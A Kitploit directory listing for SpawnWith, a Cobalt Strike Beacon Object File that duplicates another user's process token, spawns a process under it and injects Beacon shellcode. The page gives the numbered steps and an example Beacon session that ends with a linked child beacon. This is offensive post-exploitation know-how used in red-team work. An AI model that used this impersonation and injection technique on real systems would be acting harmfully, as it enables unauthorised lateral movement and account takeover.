Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/rasta-mouse/spawnwith
Privilege EscalationImpersonation ToolsLateral MovementPost-ExploitationCommand and Control
GitHubrasta-mouse/spawnwith

SpawnWith

Cobalt Strike BOF that spawns a process using another user's token and injects Beacon shellcode, enabling post-exploitation and lateral movement via impersonation.

View Repository
1121751 year agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

SpawnWith

An experimental Beacon Object File (BOF) that provides an alternative to the spawnas and inject commands. This exposes a new command, spawn_with [pid] [listener], that performs the following:

  1. Obtain a handle to the target process.
  2. Obtain a handle to the process' primary token.
  3. Duplicate the primary token to an impersonation token.
  4. Get the Beacon spawnto value.
  5. Attempt to spawn a new process with the duplicated token using CreateProcessWithTokenW.
    • If this attempt fails, try CreateProcessAsUserW.
  6. Inject the Beacon shellcode into the spawned process.
    • Link to the Beacon in the case of P2P.

Example

root@kitploit:~
beacon> getuid
[*] You are DESKTOP-1U6AHIU\Daniel (admin)

beacon> ps
22656 21972 wordpad.exe   x64   1   DESKTOP-1U6AHIU\test_user

beacon> spawnto x64 %windir%\sysnative\notepad.exe

beacon> spawn_with 22656 tcp-local
[*] Task Beacon to run windows/beacon_bind_tcp (127.0.0.1:4444)
[+] received output:

Spawned PID 45668 and injected 297472 bytes

[+] established link to child beacon: 192.168.0.195

Beacons

Download Tool